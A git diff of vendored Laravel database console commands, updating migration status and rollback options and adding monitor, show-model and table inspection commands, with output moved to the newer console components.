b/vendor/illuminate/database/Console/Migrations/RollbackCommand.php index c851360f7..b9385bcaa 100644 --- a/vendor/illuminate/database/Console/Migrations/RollbackCommand.php +++ b/vendor/illuminate/database/Console/Migrations/RollbackCommand.php @@ -60,6 +60,7 @@ public function handle() $this->getMigrationPaths(), [ 'pretend' => $this->option('pretend'), 'step' => (int) $this->option('step'), + 'batch' => (int) $this->option('batch'), ] ); }); @@ -76,16 +77,12 @@ protected function getOptions() { return [ ['database', null, InputOption::VALUE_OPTIONAL, 'The database connection to use'], - ['force', null, InputOption::VALUE_NONE, 'Force the operation to run when in production'], - ['path', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'The path(s) to the migrations files to be executed'], - ['realpath', null, InputOption::VALUE_NONE, 'Indicate any provided migration file paths are pre-resolved absolute paths'], - ['pretend', null, InputOption::VALUE_NONE, 'Dump the SQL queries that would be run'], - ['step', null, InputOption::VALUE_OPTIONAL, 'The number of migrations to be reverted'], + ['batch', null, InputOption::VALUE_REQUIRED, 'The batch of migrations (identified by their batch number) to be reverted'], ]; } } diff --git a/vendor/illuminate/database/Console/Migrations/StatusCommand.php b/vendor/illuminate/database/Console/Migrations/StatusCommand.php index 2cf82f96f..2dc1241bf 100644 --- a/vendor/illuminate/database/Console/Migrations/StatusCommand.php +++ b/vendor/illuminate/database/Console/Migrations/StatusCommand.php @@ -51,7 +51,7 @@ public function handle() { return $this->migrator->usingConnection($this->option('database'), function () { if (! $this->migrator->repositoryExists()) { - $this->error('Migration table not found.'); + $this->components->error('Migration table not found.'); return 1; } @@ -60,16 +60,32 @@ public function handle() $batches = $this->migrator->getRepository()->getMigrationBatches(); - if (count($migrations = $this->getStatusFor($ran, $batches)) > 0) { - $this->table(['Ran?', 'Migration', 'Batch'], $migrations); + $migrations = $this->getStatusFor($ran, $batches) + ->when($this->option('pending'), fn ($collection) => $collection->filter(function ($migration) { + return str($migration[1])->contains('Pending'); + })); + + if (count($migrations) > 0) { + $this->newLine(); + + $this->components->twoColumnDetail('Migration name', 'Batch / Status'); + + $migrations + ->each( + fn ($migration) => $this->components->twoColumnDetail($migration[0], $migration[1]) + ); + + $this->newLine(); + } elseif ($this->option('pending')) { + $this->components->info('No pending migrations'); } else { - $this->error('No migrations found'); + $this->components->info('No migrations found'); } }); } /** - * Get the status for the given ran migrations. + * Get the status for the given run migrations. * * @param array $ran * @param array $batches @@ -81,9 +97,15 @@ protected function getStatusFor(array $ran, array $batches) ->map(function ($migration) use ($ran, $batches) { $migrationName = $this->migrator->getMigrationName($migration); - return in_array($migrationName, $ran) - ? ['Yes', $migrationName, $batches[$migrationName]] - : ['No', $migrationName]; + $status = in_array($migrationName, $ran) + ? 'Ran' + : 'Pending'; + + if (in_array($migrationName, $ran)) { + $status = '['.$batches[$migrationName].'] '.$status; + } + + return [$migrationName, $status]; }); } @@ -106,9 +128,8 @@ protected function getOptions() { return [ ['database', null, InputOption::VALUE_OPTIONAL, 'The database connection to use'], - + ['pending', null, InputOption::VALUE_NONE, 'Only list pending migrations'], ['path', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'The path(s) to the migrations files to use'], - ['realpath', null, InputOption::VALUE_NONE, 'Indicate any provided migration file paths are pre-resolved absolute paths'], ]; } diff --git a/vendor/illuminate/database/Console/Migrations/TableGuesser.php b/vendor/illuminate/database/Console/Migrations/TableGuesser.php index 82dfbddbb..30bd53096 100644 --- a/vendor/illuminate/database/Console/Migrations/TableGuesser.php +++ b/vendor/illuminate/database/Console/Migrations/TableGuesser.php @@ -10,8 +10,8 @@ class TableGuesser ]; const CHANGE_PATTERNS = [ - '/_(to|from|in)_(\w+)_table$/', - '/_(to|from|in)_(\w+)$/', + '/.+_(to|from|in)_(\w+)_table$/', + '/.+_(to|from|in)_(\w+)$/', ]; /** diff --git a/vendor/illuminate/database/Console/MonitorCommand.php b/vendor/illuminate/database/Console/MonitorCommand.php new file mode 100644 index 000000000..3dff31582 --- /dev/null +++ b/vendor/illuminate/database/Console/MonitorCommand.php @@ -0,0 +1,140 @@ +connection = $connection; + $this->events = $events; + } + + /** + * Execute the console command. + * + * @return void + */ + public function handle() + { + $databases = $this->parseDatabases($this->option('databases')); + + $this->displayConnections($databases); + + if ($this->option('max')) { + $this->dispatchEvents($databases); + } + } + + /** + * Parse the database into an array of the connections. + * + * @param string $databases + * @return \Illuminate\Support\Collection + */ + protected function parseDatabases($databases) + { + return collect(explode(',', $databases))->map(function ($database) { + if (! $database) { + $database = $this->laravel['config']['database.default']; + } + + $maxConnections = $this->option('max'); + + return [ + 'database' => $database, + 'connections' => $connections = $this->getConnectionCount($this->connection->connection($database)), + 'status' => $maxConnections && $connections >= $maxConnections ? 'ALERT' : 'OK', + ]; + }); + } + + /** + * Display the databases and their connection counts in the console. + * + * @param \Illuminate\Support\Collection $databases + * @return void + */ + protected function displayConnections($databases) + { + $this->newLine(); + + $this->components->twoColumnDetail('Database name', 'Connections'); + + $databases->each(function ($database) { + $status = '['.$database['connections'].'] '.$database['status']; + + $this->components->twoColumnDetail($database['database'], $status); + }); + + $this->newLine(); + } + + /** + * Dispatch the database monitoring events. + * + * @param \Illuminate\Support\Collection $databases + * @return void + */ + protected function dispatchEvents($databases) + { + $databases->each(function ($database) { + if ($database['status'] === 'OK') { + return; + } + + $this->events->dispatch( + new DatabaseBusy( + $database['database'], + $database['connections'] + ) + ); + }); + } +} diff --git a/vendor/illuminate/database/Console/PruneCommand.php b/vendor/illuminate/database/Console/PruneCommand.php index b69aa8684..23875d118 100644 --- a/vendor/illuminate/database/Console/PruneCommand.php +++ b/vendor/illuminate/database/Console/PruneCommand.php @@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\MassPrunable; use Illuminate\Database\Eloquent\Prunable; use Illuminate\Database\Eloquent\SoftDeletes; +use Illuminate\Database\Events\ModelPruningFinished; +use Illuminate\Database\Events\ModelPruningStarting; use Illuminate\Database\Events\ModelsPruned; use Illuminate\Support\Str; use InvalidArgumentException; @@ -22,6 +24,7 @@ class PruneCommand extends Command protected $signature = 'model:prune {--model=* : Class names of the models to be pruned} {--except=* : Class names of the models to be excluded from pruning} + {--path=* : Absolute path(s) to directories where models are located} {--chunk=1000 : The number of models to retrieve per chunk of models to be deleted} {--pretend : Display the number of prunable records found instead of deleting them}'; @@ -43,7 +46,7 @@ public function handle(Dispatcher $events) $models = $this->models(); if ($models->isEmpty()) { - $this->info('No prunable models found.'); + $this->components->info('No prunable models found.'); return; } @@ -56,29 +59,54 @@ public function handle(Dispatcher $events) return; } - $events->listen(ModelsPruned::class, function ($event) { - $this->info("{$event->count} [{$event->model}] records have been pruned."); - }); - - $models->each(function ($model) { - $instance = new $model; + $pruning = []; - $chunkSize = property_exists($instance, 'prunableChunkSize') - ? $instance->prunableChunkSize - : $this->option('chunk'); + $events->listen(ModelsPruned::class, function ($event) use (&$pruning) { + if (! in_array($event->model, $pruning)) { + $pruning[] = $event->model; - $total = $this->isPrunable($model) - ? $instance->pruneAll($chunkSize) - : 0; + $this->newLine(); - if ($total == 0) { - $this->info("No prunable [$model] records found."); + $this->components->info(sprintf('Pruning [%s] records.', $event->model)); } + + $this->components->twoColumnDetail($event->model, "{$event->count} records"); + }); + + $events->dispatch(new ModelPruningStarting($models->all())); + + $models->each(function ($model) { + $this->pruneModel($model); }); + $events->dispatch(new ModelPruningFinished($models->all())); + $events->forget(ModelsPruned::class); } + /** + * Prune the given model. + * + * @param string $model + * @return void + */ + protected function pruneModel(string $model) + { + $instance = new $model; + + $chunkSize = property_exists($instance, 'prunableChunkSize') + ? $instance->prunableChunkSize + : $this->option('chunk'); + + $total = $this->isPrunable($model) + ? $instance->pruneAll($chunkSize) + : 0; + + if ($total == 0) { + $this->components->info("No prunable [$model] records found."); + } + } + /** * Determine the models that should be pruned. * @@ -98,7 +126,7 @@ protected function models() throw new InvalidArgumentException('The --models and --except options cannot be combined.'); } - return collect((new Finder)->in($this->getDefaultPath())->files()->name('*.php')) + return collect(Finder::create()->in($this->getPath())->files()->name('*.php')) ->map(function ($model) { $namespace = $this->laravel->getNamespace(); @@ -111,20 +139,26 @@ protected function models() return $models->reject(function ($model) use ($except) { return in_array($model, $except); }); - })->filter(function ($model) { - return $this->isPrunable($model); })->filter(function ($model) { return class_exists($model); + })->filter(function ($model) { + return $this->isPrunable($model); })->values(); } /** - * Get the default path where models are located. + * Get the path where models are located. * - * @return string + * @return string[]|string */ - protected function getDefaultPath() + protected function getPath() { + if (! empty($path = $this->option('path'))) { + return collect($path)->map(function ($path) { + return base_path($path); + })->all(); + } + return app_path('Models'); } @@ -157,9 +191,9 @@ protected function pretendToPrune($model) })->count(); if ($count === 0) { - $this->info("No prunable [$model] records found."); + $this->components->info("No prunable [$model] records found."); } else { - $this->info("{$count} [{$model}] records will be pruned."); + $this->components->info("{$count} [{$model}] records will be pruned."); } } } diff --git a/vendor/illuminate/database/Console/Seeds/SeedCommand.php b/vendor/illuminate/database/Console/Seeds/SeedCommand.php index 058e545c2..0d4dbd5ad 100644 --- a/vendor/illuminate/database/Console/Seeds/SeedCommand.php +++ b/vendor/illuminate/database/Console/Seeds/SeedCommand.php @@ -6,9 +6,11 @@ use Illuminate\Console\ConfirmableTrait; use Illuminate\Database\ConnectionResolverInterface as Resolver; use Illuminate\Database\Eloquent\Model; +use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; +#[AsCommand(name: 'db:seed')] class SeedCommand extends Command { use ConfirmableTrait; @@ -58,6 +60,8 @@ public function handle() return 1; } + $this->components->info('Seeding database.'); + $previousConnection = $this->resolver->getDefaultConnection(); $this->resolver->setDefaultConnection($this->getDatabase()); @@ -70,8 +74,6 @@ public function handle() $this->resolver->setDefaultConnection($previousConnection); } - $this->info('Database seeding completed successfully.'); - return 0; } @@ -84,7 +86,7 @@ protected function getSeeder() { $class = $this->input->getArgument('class') ?? $this->input->getOption('class'); - if (strpos($class, '\\') === false) { + if (! str_contains($class, '\\')) { $class = 'Database\\Seeders\\'.$class; } diff --git a/vendor/illuminate/database/Console/Seeds/SeederMakeCommand.php b/vendor/illuminate/database/Console/Seeds/SeederMakeCommand.php index aef7a77e6..c021bbbe5 100644 --- a/vendor/illuminate/database/Console/Seeds/SeederMakeCommand.php +++ b/vendor/illuminate/database/Console/Seeds/SeederMakeCommand.php @@ -3,7 +3,10 @@ namespace Illuminate\Database\Console\Seeds; use Illuminate\Console\GeneratorCommand; +use Illuminate\Support\Str; +use Symfony\Component\Console\Attribute\AsCommand; +#[AsCommand(name: 'make:seeder')] class SeederMakeCommand extends GeneratorCommand { /** @@ -68,21 +71,22 @@ protected function resolveStubPath($stub) */ protected function getPath($name) { + $name = str_replace('\\', '/', Str::replaceFirst($this->rootNamespace(), '', $name)); + if (is_dir($this->laravel->databasePath().'/seeds')) { return $this->laravel->databasePath().'/seeds/'.$name.'.php'; - } else { - return $this->laravel->databasePath().'/seeders/'.$name.'.php'; } + + return $this->laravel->databasePath().'/seeders/'.$name.'.php'; } /** - * Parse the class name and format according to the root namespace. + * Get the root namespace for the class. * - * @param string $name * @return string */ - protected function qualifyClass($name) + protected function rootNamespace() { - return $name; + return 'Database\Seeders\\'; } } diff --git a/vendor/illuminate/database/Console/Seeds/WithoutModelEvents.php b/vendor/illuminate/database/Console/Seeds/WithoutModelEvents.php new file mode 100644 index 000000000..acd9ec3f2 --- /dev/null +++ b/vendor/illuminate/database/Console/Seeds/WithoutModelEvents.php @@ -0,0 +1,19 @@ + Model::withoutEvents($callback); + } +} diff --git a/vendor/illuminate/database/Console/Seeds/stubs/seeder.stub b/vendor/illuminate/database/Console/Seeds/stubs/seeder.stub index 5662969c7..8b5403f38 100644 --- a/vendor/illuminate/database/Console/Seeds/stubs/seeder.stub +++ b/vendor/illuminate/database/Console/Seeds/stubs/seeder.stub @@ -1,17 +1,16 @@ Note: This can be slow on large databases }; + {--views : Show the database views Note: This can be slow on large databases }'; + + /** + * The console command description. + * + * @var string + */ + protected $description = 'Display information about the given database'; + + /** + * Execute the console command. + * + * @param \Illuminate\Database\ConnectionResolverInterface $connections + * @return int + */ + public function handle(ConnectionResolverInterface $connections) + { + if (! $this->ensureDependenciesExist()) { + return 1; + } + + $connection = $connections->connection($database = $this->input->getOption('database')); + + $doctrineConnection = $connection->getDoctrineConnection(); + $schema = $connection->getDoctrineSchemaManager(); + + $this->registerTypeMappings($doctrineConnection->getDatabasePlatform()); + + $data = [ + 'platform' => [ + 'config' => $this->getConfigFromDatabase($database), + 'name' => $this->getPlatformName($doctrineConnection->getDatabasePlatform(), $database), + 'open_connections' => $this->getConnectionCount($connection), + ], + 'tables' => $this->tables($connection, $schema), + ]; + + if ($this->option('views')) { + $data['views'] = $this->collectViews($connection, $schema); + } + + $this->display($data); + + return 0; + } + + /** + * Get information regarding the tables within the database. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @param \Doctrine\DBAL\Schema\AbstractSchemaManager $schema + * @return \Illuminate\Support\Collection + */ + protected function tables(ConnectionInterface $connection, AbstractSchemaManager $schema) + { + return collect($schema->listTables())->map(fn (Table $table, $index) => [ + 'table' => $table->getName(), + 'size' => $this->getTableSize($connection, $table->getName()), + 'rows' => $this->option('counts') ? $connection->table($table->getName())->count() : null, + 'engine' => rescue(fn () => $table->getOption('engine'), null, false), + 'comment' => $table->getComment(), + ]); + } + + /** + * Get information regarding the views within the database. + * + * @param \Illuminate\Database\ConnectionInterface $connection + * @param \Doctrine\DBAL\Schema\AbstractSchemaManager $schema + * @return \Illuminate\Support\Collection + */ + protected function collectViews(ConnectionInterface $connection, AbstractSchemaManager $schema) + { + return collect($schema->listViews()) + ->reject(fn (View $view) => str($view->getName()) + ->startsWith(['pg_catalog', 'information_schema', 'spt_'])) + ->map(fn (View $view) => [ + 'view' => $view->getName(), + 'rows' => $connection->table($view->getName())->count(), + ]); + } + + /** + * Render the database information. + * + * @param array $data + * @return void + */ + protected function display(array $data) + { + $this->option('json') ? $this->displayJson($data) : $this->displayForCli($data); + } + + /** + * Render the database information as JSON. + * + * @param array $data + * @return void + */ + protected function displayJson(array $data) + { + $this->output->writeln(json_encode($data)); + } + + /** + * Render the database information formatted for the CLI. + * + * @param array $data + * @return void + */ + protected function displayForCli(array $data) + { + $platform = $data['platform']; + $tables = $data['tables']; + $views = $data['views'] ?? null; + + $this->newLine(); + + $this->components->twoColumnDetail(''.$platform['name'].''); + $this->components->twoColumnDetail('Database', Arr::get($platform['config'], 'database')); + $this->components->twoColumnDetail('Host', Arr::get($platform['config'], 'host')); + $this->components->twoColumnDetail('Port', Arr::get($platform['config'], 'port')); + $this->components->twoColumnDetail('Username', Arr::get($platform['config'], 'username')); + $this->components->twoColumnDetail('URL', Arr::get($platform['config'], 'url')); + $this->components->twoColumnDetail('Open Connections', $platform['open_connections']); + $this->components->twoColumnDetail('Tables', $tables->count()); + + if ($tableSizeSum = $tables->sum('size')) { + $this->components->twoColumnDetail('Total Size', number_format($tableSizeSum / 1024 / 1024, 2).'MiB'); + } + + $this->newLine(); + + if ($tables->isNotEmpty()) { + $this->components->twoColumnDetail('Table', 'Size (MiB)'.($this->option('counts') ? ' / Rows' : '')); + + $tables->each(function ($table) { + if ($tableSize = $table['size']) { + $tableSize = number_format($tableSize / 1024 / 1024, 2); + } + + $this->components->twoColumnDetail( + $table['table'].($this->output->isVerbose() ? ' '.$table['engine'].'' : null), + ($tableSize ? $tableSize : '—').($this->option('counts') ? ' / '.number_format($table['rows']).'' : '') + ); + + if ($this->output->isVerbose()) { + if ($table['comment']) { + $this->components->bulletList([ + $table['comment'], + ]); + } + } + }); + + $this->newLine(); + } + + if ($views && $views->isNotEmpty()) { + $this->components->twoColumnDetail('View', 'Rows'); + + $views->each(fn ($view) => $this->components->twoColumnDetail($view['view'], number_format($view['rows']))); + + $this->newLine(); + } + } +} diff --git a/vendor/illuminate/database/Console/ShowModelCommand.php b/vendor/illuminate/database/Console/ShowModelCommand.php new file mode 100644 index 000000000..3ef912004 --- /dev/null +++ b/vendor/illuminate/database/Console/ShowModelCommand.php @@ -0,0 +1,535 @@ +ensureDependenciesExist()) { + return 1; + } + + $class = $this->qualifyModel($this->argument('model')); + + try { + $model = $this->laravel->make($class); + + $class = get_class($model); + } catch (BindingResolutionException $e) { + return $this->components->error($e->getMessage()); + } + + if ($this->option('database')) { + $model->setConnection($this->option('database')); + } + + $this->display( + $class, + $model->getConnection()->getName(), + $model->getConnection()->getTablePrefix().$model->getTable(), + $this->getPolicy($model), + $this->getAttributes($model), + $this->getRelations($model), + $this->getObservers($model), + ); + } + + /** + * Get the first policy associated with this model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return string + */ + protected function getPolicy($model) + { + $policy = Gate::getPolicyFor($model::class); + + return $policy ? $policy::class : null; + } + + /** + * Get the column attributes for the given model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return \Illuminate\Support\Collection + */ + protected function getAttributes($model) + { + $connection = $model->getConnection(); + $schema = $connection->getDoctrineSchemaManager(); + $this->registerTypeMappings($connection->getDoctrineConnection()->getDatabasePlatform()); + $table = $model->getConnection()->getTablePrefix().$model->getTable(); + $columns = $schema->listTableColumns($table); + $indexes = $schema->listTableIndexes($table); + + return collect($columns) + ->values() + ->map(fn (Column $column) => [ + 'name' => $column->getName(), + 'type' => $this->getColumnType($column), + 'increments' => $column->getAutoincrement(), + 'nullable' => ! $column->getNotnull(), + 'default' => $this->getColumnDefault($column, $model), + 'unique' => $this->columnIsUnique($column->getName(), $indexes), + 'fillable' => $model->isFillable($column->getName()), + 'hidden' => $this->attributeIsHidden($column->getName(), $model), + 'appended' => null, + 'cast' => $this->getCastType($column->getName(), $model), + ]) + ->merge($this->getVirtualAttributes($model, $columns)); + } + + /** + * Get the virtual (non-column) attributes for the given model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @param \Doctrine\DBAL\Schema\Column[] $columns + * @return \Illuminate\Support\Collection + */ + protected function getVirtualAttributes($model, $columns) + { + $class = new ReflectionClass($model); + + return collect($class->getMethods()) + ->reject( + fn (ReflectionMethod $method) => $method->isStatic() + || $method->isAbstract() + || $method->getDeclaringClass()->getName() === Model::class + ) + ->mapWithKeys(function (ReflectionMethod $method) use ($model) { + if (preg_match('/^get(.+)Attribute$/', $method->getName(), $matches) === 1) { + return [Str::snake($matches[1]) => 'accessor']; + } elseif ($model->hasAttributeMutator($method->getName())) { + return [Str::snake($method->getName()) => 'attribute']; + } else { + return []; + } + }) + ->reject(fn ($cast, $name) => collect($columns)->has($name)) + ->map(fn ($cast, $name) => [ + 'name' => $name, + 'type' => null, + 'increments' => false, + 'nullable' => null, + 'default' => null, + 'unique' => null, + 'fillable' => $model->isFillable($name), + 'hidden' => $this->attributeIsHidden($name, $model), + 'appended' => $model->hasAppended($name), + 'cast' => $cast, + ]) + ->values(); + } + + /** + * Get the relations from the given model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return \Illuminate\Support\Collection + */ + protected function getRelations($model) + { + return collect(get_class_methods($model)) + ->map(fn ($method) => new ReflectionMethod($model, $method)) + ->reject( + fn (ReflectionMethod $method) => $method->isStatic() + || $method->isAbstract() + || $method->getDeclaringClass()->getName() === Model::class + ) + ->filter(function (ReflectionMethod $method) { + $file = new SplFileObject($method->getFileName()); + $file->seek($method->getStartLine() - 1); + $code = ''; + while ($file->key() < $method->getEndLine()) { + $code .= trim($file->current()); + $file->next(); + } + + return collect($this->relationMethods) + ->contains(fn ($relationMethod) => str_contains($code, '$this->'.$relationMethod.'(')); + }) + ->map(function (ReflectionMethod $method) use ($model) { + $relation = $method->invoke($model); + + if (! $relation instanceof Relation) { + return null; + } + + return [ + 'name' => $method->getName(), + 'type' => Str::afterLast(get_class($relation), '\\'), + 'related' => get_class($relation->getRelated()), + ]; + }) + ->filter() + ->values(); + } + + /** + * Get the Observers watching this model. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return \Illuminate\Support\Collection + */ + protected function getObservers($model) + { + $listeners = $this->getLaravel()->make('events')->getRawListeners(); + + // Get the Eloquent observers for this model... + $listeners = array_filter($listeners, function ($v, $key) use ($model) { + return Str::startsWith($key, 'eloquent.') && Str::endsWith($key, $model::class); + }, ARRAY_FILTER_USE_BOTH); + + // Format listeners Eloquent verb => Observer methods... + $extractVerb = function ($key) { + preg_match('/eloquent.([a-zA-Z]+)\: /', $key, $matches); + + return $matches[1] ?? '?'; + }; + + $formatted = []; + + foreach ($listeners as $key => $observerMethods) { + $formatted[] = [ + 'event' => $extractVerb($key), + 'observer' => array_map(fn ($obs) => is_string($obs) ? $obs : 'Closure', $observerMethods), + ]; + } + + return collect($formatted); + } + + /** + * Render the model information. + * + * @param string $class + * @param string $database + * @param string $table + * @param string $policy + * @param \Illuminate\Support\Collection $attributes + * @param \Illuminate\Support\Collection $relations + * @param \Illuminate\Support\Collection $observers + * @return void + */ + protected function display($class, $database, $table, $policy, $attributes, $relations, $observers) + { + $this->option('json') + ? $this->displayJson($class, $database, $table, $policy, $attributes, $relations, $observers) + : $this->displayCli($class, $database, $table, $policy, $attributes, $relations, $observers); + } + + /** + * Render the model information as JSON. + * + * @param string $class + * @param string $database + * @param string $table + * @param string $policy + * @param \Illuminate\Support\Collection $attributes + * @param \Illuminate\Support\Collection $relations + * @param \Illuminate\Support\Collection $observers + * @return void + */ + protected function displayJson($class, $database, $table, $policy, $attributes, $relations, $observers) + { + $this->output->writeln( + collect([ + 'class' => $class, + 'database' => $database, + 'table' => $table, + 'policy' => $policy, + 'attributes' => $attributes, + 'relations' => $relations, + 'observers' => $observers, + ])->toJson() + ); + } + + /** + * Render the model information for the CLI. + * + * @param string $class + * @param string $database + * @param string $table + * @param string $policy + * @param \Illuminate\Support\Collection $attributes + * @param \Illuminate\Support\Collection $relations + * @param \Illuminate\Support\Collection $observers + * @return void + */ + protected function displayCli($class, $database, $table, $policy, $attributes, $relations, $observers) + { + $this->newLine(); + + $this->components->twoColumnDetail(''.$class.''); + $this->components->twoColumnDetail('Database', $database); + $this->components->twoColumnDetail('Table', $table); + + if ($policy) { + $this->components->twoColumnDetail('Policy', $policy); + } + + $this->newLine(); + + $this->components->twoColumnDetail( + 'Attributes', + 'type / cast', + ); + + foreach ($attributes as $attribute) { + $first = trim(sprintf( + '%s %s', + $attribute['name'], + collect(['increments', 'unique', 'nullable', 'fillable', 'hidden', 'appended']) + ->filter(fn ($property) => $attribute[$property]) + ->map(fn ($property) => sprintf('%s', $property)) + ->implode(', ') + )); + + $second = collect([ + $attribute['type'], + $attribute['cast'] ? ''.$attribute['cast'].'' : null, + ])->filter()->implode(' / '); + + $this->components->twoColumnDetail($first, $second); + + if ($attribute['default'] !== null) { + $this->components->bulletList( + [sprintf('default: %s', $attribute['default'])], + OutputInterface::VERBOSITY_VERBOSE + ); + } + } + + $this->newLine(); + + $this->components->twoColumnDetail('Relations'); + + foreach ($relations as $relation) { + $this->components->twoColumnDetail( + sprintf('%s %s', $relation['name'], $relation['type']), + $relation['related'] + ); + } + + $this->newLine(); + + $this->components->twoColumnDetail('Observers'); + + if ($observers->count()) { + foreach ($observers as $observer) { + $this->components->twoColumnDetail( + sprintf('%s', $observer['event']), + implode(', ', $observer['observer']) + ); + } + } + + $this->newLine(); + } + + /** + * Get the cast type for the given column. + * + * @param string $column + * @param \Illuminate\Database\Eloquent\Model $model + * @return string|null + */ + protected function getCastType($column, $model) + { + if ($model->hasGetMutator($column) || $model->hasSetMutator($column)) { + return 'accessor'; + } + + if ($model->hasAttributeMutator($column)) { + return 'attribute'; + } + + return $this->getCastsWithDates($model)->get($column) ?? null; + } + + /** + * Get the model casts, including any date casts. + * + * @param \Illuminate\Database\Eloquent\Model $model + * @return \Illuminate\Support\Collection + */ + protected function getCastsWithDates($model) + { + return collect($model->getDates()) + ->filter() + ->flip() + ->map(fn () => 'datetime') + ->merge($model->getCasts()); + } + + /** + * Get the type of the given column. + * + * @param \Doctrine\DBAL\Schema\Column $column + * @return string + */ + protected function getColumnType($column) + { + $name = $column->getType()->getName(); + + $unsigned = $column->getUnsigned() ? ' unsigned' : ''; + + $details = match (get_class($column->getType())) { + DecimalType::class => $column->getPrecision().','.$column->getScale(), + default => $column->getLength(), + }; + + if ($details) { + return sprintf('%s(%s)%s', $name, $details, $unsigned); + } + + return sprintf('%s%s', $name, $unsigned); + } + + /** + * Get the default value for the given column. + * + * @param \Doctrine\DBAL\Schema\Column $column + * @param \Illuminate\Database\Eloquent\Model $model + * @return mixed|null + */ + protected function getColumnDefault($column, $model) + { + $attributeDefault = $model->getAttributes()[$column->getName()] ?? null; + + return match (true) { + $attributeDefault instanceof BackedEnum => $attributeDefault->value, + $attributeDefault instanceof UnitEnum => $attributeDefault->name, + default => $attributeDefault ?? $column->getDefault(), + }; + } + + /** + * Determine if the given attribute is hidden. + * + * @param string $attribute + * @param \Illuminate\Database\Eloquent\Model $model + * @return bool + */ + protected function attributeIsHidden($attribute, $model) + { + if (count($model->getHidden()) > 0) { + return in_array($attribute, $model->getHidden()); + } + + if (count($model->getVisible()) > 0) { + return ! in_array($attribute, $model->getVisible()); + } + + return false; + } + + /** + * Determine if the given attribute is unique. + * + * @param string $column + * @param \Doctrine\DBAL\Schema\Index[] $indexes + * @return bool + */ + protected function columnIsUnique($column, $indexes) + { + return collect($indexes) + ->filter(fn (Index $index) => count($index->getColumns()) === 1 && $index->getColumns()[0] === $column) + ->contains(fn (Index $index) => $index->isUnique()); + } + + /** + * Qualify the given model class base name. + * + * @param string $model + * @return string + * + * @see \Illuminate\Console\GeneratorCommand + */ + protected function qualifyModel(string $model) + { + if (str_contains($model, '\\') && class_exists($model)) { + return $model; + } + + $model = ltrim($model, '\\/'); + + $model = str_replace('/', '\\', $model); + + $rootNamespace = $this->laravel->getNamespace(); + + if (Str::startsWith($model, $rootNamespace)) { + return $model; + } + + return is_dir(app_path('Models')) + ? $rootNamespace.'Models\\'.$model + : $rootNamespace.$model; + } +} diff --git a/vendor/illuminate/database/Console/TableCommand.php b/vendor/illuminate/database/Console/TableCommand.php new file mode 100644 index 000000000..499e1708f --- /dev/null +++ b/vendor/illuminate/database/Console/TableCommand.php @@ -0,0 +1,248 @@ +ensureDependenciesExist()) { + return 1; + } + + $connection = $connections->connection($this->input->getOption('database')); + + $schema = $connection->getDoctrineSchemaManager(); + + $this->registerTypeMappings($connection->getDoctrineConnection()->getDatabasePlatform()); + + $table = $this->argument('table') ?: select( + 'Which table would you like to inspect?', + collect($schema->listTables())->flatMap(fn (Table $table) => [$table->getName()])->toArray() + ); + + if (! $schema->tablesExist([$table])) { + return $this->components->warn("Table [{$table}] doesn't exist."); + } + + $table = $schema->introspectTable($table); + + $columns = $this->columns($table); + $indexes = $this->indexes($table); + $foreignKeys = $this->foreignKeys($table); + + $data = [ + 'table' => [ + 'name' => $table->getName(), + 'columns' => $columns->count(), + 'size' => $this->getTableSize($connection, $table->getName()), + ], + 'columns' => $columns, + 'indexes' => $indexes, + 'foreign_keys' => $foreignKeys, + ]; + + $this->display($data); + + return 0; + } + + /** + * Get the information regarding the table's columns. + * + * @param \Doctrine\DBAL\Schema\Table $table + * @return \Illuminate\Support\Collection + */ + protected function columns(Table $table) + { + return collect($table->getColumns())->map(fn (Column $column) => [ + 'column' => $column->getName(), + 'attributes' => $this->getAttributesForColumn($column), + 'default' => $column->getDefault(), + 'type' => $column->getType()->getName(), + ]); + } + + /** + * Get the attributes for a table column. + * + * @param \Doctrine\DBAL\Schema\Column $column + * @return \Illuminate\Support\Collection + */ + protected function getAttributesForColumn(Column $column) + { + return collect([ + $column->getAutoincrement() ? 'autoincrement' : null, + 'type' => $column->getType()->getName(), + $column->getUnsigned() ? 'unsigned' : null, + ! $column->getNotNull() ? 'nullable' : null, + ])->filter(); + } + + /** + * Get the information regarding the table's indexes. + * + * @param \Doctrine\DBAL\Schema\Table $table + * @return \Illuminate\Support\Collection + */ + protected function indexes(Table $table) + { + return collect($table->getIndexes())->map(fn (Index $index) => [ + 'name' => $index->getName(), + 'columns' => collect($index->getColumns()), + 'attributes' => $this->getAttributesForIndex($index), + ]); + } + + /** + * Get the attributes for a table index. + * + * @param \Doctrine\DBAL\Schema\Index $index + * @return \Illuminate\Support\Collection + */ + protected function getAttributesForIndex(Index $index) + { + return collect([ + 'compound' => count($index->getColumns()) > 1, + 'unique' => $index->isUnique(), + 'primary' => $index->isPrimary(), + ])->filter()->keys()->map(fn ($attribute) => Str::lower($attribute)); + } + + /** + * Get the information regarding the table's foreign keys. + * + * @param \Doctrine\DBAL\Schema\Table $table + * @return \Illuminate\Support\Collection + */ + protected function foreignKeys(Table $table) + { + return collect($table->getForeignKeys())->map(fn (ForeignKeyConstraint $foreignKey) => [ + 'name' => $foreignKey->getName(), + 'local_table' => $table->getName(), + 'local_columns' => collect($foreignKey->getLocalColumns()), + 'foreign_table' => $foreignKey->getForeignTableName(), + 'foreign_columns' => collect($foreignKey->getForeignColumns()), + 'on_update' => Str::lower(rescue(fn () => $foreignKey->getOption('onUpdate'), 'N/A')), + 'on_delete' => Str::lower(rescue(fn () => $foreignKey->getOption('onDelete'), 'N/A')), + ]); + } + + /** + * Render the table information. + * + * @param array $data + * @return void + */ + protected function display(array $data) + { + $this->option('json') ? $this->displayJson($data) : $this->displayForCli($data); + } + + /** + * Render the table information as JSON. + * + * @param array $data + * @return void + */ + protected function displayJson(array $data) + { + $this->output->writeln(json_encode($data)); + } + + /** + * Render the table information formatted for the CLI. + * + * @param array $data + * @return void + */ + protected function displayForCli(array $data) + { + [$table, $columns, $indexes, $foreignKeys] = [ + $data['table'], $data['columns'], $data['indexes'], $data['foreign_keys'], + ]; + + 